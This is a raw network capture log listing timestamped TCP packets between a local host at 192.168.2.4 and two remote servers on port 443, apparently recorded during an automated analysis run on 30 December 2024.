Dec 30, 2024 04:59:32.671488047 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.671533108 CET	49873	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.672152996 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.672261953 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.672426939 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.672589064 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.672624111 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.714782000 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.714843035 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.714859962 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.714988947 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.719345093 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.719408035 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.719418049 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.719491959 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.719655991 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.719722033 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.719733953 CET	443	49872	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.719742060 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.719774008 CET	49872	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.720115900 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.720153093 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.720370054 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.720639944 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:32.720654964 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:32.988992929 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.989042997 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.989058971 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.989094019 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.989185095 CET	49874	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.989201069 CET	443	49874	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.989641905 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.989661932 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:32.989821911 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.990056992 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:32.990065098 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.072566986 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.072604895 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.072626114 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.072637081 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.072649002 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.072675943 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.072680950 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.072704077 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.072909117 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.073143005 CET	49875	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.073149920 CET	443	49875	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.073508978 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.073533058 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.073626995 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.073802948 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.073817968 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.271156073 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.271229982 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.271756887 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.271785975 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.271940947 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.271955013 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.338980913 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.339041948 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.339629889 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.339638948 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.341399908 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.341408968 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.597951889 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.598017931 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.598393917 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.598398924 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.598570108 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.598573923 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.651737928 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.651783943 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.651848078 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.651922941 CET	49878	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.651968956 CET	443	49878	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.652431011 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.652446032 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.652503014 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.652678967 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.652688026 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.681767941 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.681849003 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.682131052 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.682145119 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.682276011 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.682281017 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.746179104 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.746246099 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.746298075 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.746315002 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.746350050 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.746356010 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.746387005 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.746393919 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.746426105 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.746902943 CET	49879	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.746917963 CET	443	49879	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.747296095 CET	49883	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.747328997 CET	443	49883	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.747383118 CET	49883	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.747575045 CET	49883	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:33.747585058 CET	443	49883	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:33.973458052 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.973515987 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.973526001 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.973563910 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.973570108 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.973596096 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.973607063 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.973633051 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.973864079 CET	49880	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.973870993 CET	443	49880	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.974730968 CET	49884	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.974771023 CET	443	49884	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:33.974841118 CET	49884	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.975445032 CET	49884	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:33.975457907 CET	443	49884	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.091217041 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.091259956 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.091274023 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.091284037 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.091296911 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.091345072 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.091348886 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.091367960 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.091408968 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.091995001 CET	49881	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.092001915 CET	443	49881	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.092417002 CET	49885	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.092499018 CET	443	49885	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.092578888 CET	49885	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.092767000 CET	49885	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.092801094 CET	443	49885	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.253947020 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.254010916 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.254414082 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.254416943 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.254602909 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.254606962 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.376827955 CET	443	49883	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.376888990 CET	49883	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.377250910 CET	49883	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.377257109 CET	443	49883	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.377371073 CET	49883	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.377376080 CET	443	49883	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.577848911 CET	443	49884	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.577910900 CET	49884	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.589013100 CET	49884	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.589031935 CET	443	49884	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.590933084 CET	49884	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.590939045 CET	443	49884	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.626245975 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.626418114 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.626426935 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.626535892 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.626626015 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.626652002 CET	443	49882	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.626724958 CET	49882	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.627126932 CET	49886	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.627166986 CET	443	49886	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.627262115 CET	49886	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.627665043 CET	49886	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.627680063 CET	443	49886	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.702552080 CET	443	49885	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.702723980 CET	49885	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.702981949 CET	49885	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.703011036 CET	443	49885	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.703282118 CET	49885	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.703294992 CET	443	49885	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.734648943 CET	49883	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.734649897 CET	49884	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.734875917 CET	49886	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.735085011 CET	49885	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.735234976 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.735299110 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.735383987 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.736839056 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:34.736872911 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:34.737770081 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.737771034 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.737790108 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.737792969 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.737849951 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.737850904 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.738311052 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.738321066 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:34.738782883 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:34.738801956 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.344091892 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.344173908 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.344863892 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.344974995 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.345510006 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.345550060 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.345578909 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.345621109 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.347053051 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.347070932 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.348712921 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.348720074 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.348916054 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.349205017 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.351843119 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.399328947 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.432996035 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.433147907 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.433634043 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.433780909 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.435121059 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.435136080 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.435338020 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.436055899 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.436441898 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.479329109 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.774413109 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.774463892 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.774590969 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.774616957 CET	443	49888	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.774665117 CET	49888	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.775182962 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.775202990 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.775331020 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.775310993 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.775424957 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.775490999 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.775517941 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.775530100 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.775660992 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.775696993 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.827469110 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.827507019 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.827555895 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.827574015 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.827636957 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.828182936 CET	49887	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.828212976 CET	443	49887	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.857309103 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.857403994 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.857436895 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.857475042 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.857498884 CET	443	49889	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.857542992 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.857572079 CET	49889	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.857911110 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.857929945 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.857980013 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.858115911 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.858139038 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:35.858203888 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:35.858215094 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:35.858299017 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.858448029 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:35.858458996 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.373313904 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.373420000 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.373606920 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.373691082 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.373857021 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.373867035 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.374042034 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.374046087 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.374243021 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.374295950 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.377209902 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.377243042 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.377465010 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.377563953 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.377872944 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.419344902 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.456931114 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.456968069 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.456985950 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.457032919 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.457252026 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.457257032 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.457380056 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.457384109 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.457602024 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.457654953 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.458983898 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.458990097 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.459187031 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.459235907 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.459507942 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.503336906 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.743879080 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.743967056 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.744106054 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.744127989 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.744163036 CET	443	49892	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.744191885 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.744230986 CET	49892	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.744724989 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.744769096 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.744927883 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.745148897 CET	49897	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.745165110 CET	443	49897	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.779623032 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.779659033 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.779675961 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.779684067 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.779728889 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.779733896 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.779750109 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.779793978 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.780355930 CET	49891	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.780364037 CET	443	49891	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.780714989 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.780740023 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.780807018 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.780981064 CET	49898	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.780994892 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.830746889 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.830852032 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.831046104 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.831077099 CET	443	49893	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.831131935 CET	49893	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.831518888 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.831528902 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.831584930 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.831752062 CET	49899	443	192.168.2.4	142.250.181.238
Dec 30, 2024 04:59:36.831764936 CET	443	49899	142.250.181.238	192.168.2.4
Dec 30, 2024 04:59:36.926045895 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.926091909 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.926099062 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.926105976 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.926135063 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.926170111 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.926173925 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.926182032 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.926220894 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.926712990 CET	49894	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.926722050 CET	443	49894	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.927077055 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.927092075 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:36.927160025 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.927400112 CET	49900	443	192.168.2.4	142.250.186.129
Dec 30, 2024 04:59:36.927407026 CET	443	49900	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.385987997 CET	443	49898	142.250.186.129	192.168.2.4
Dec 30, 2024 04:59:37.386070013 CET	49898	443	192.168.2.4	142.250.186.129
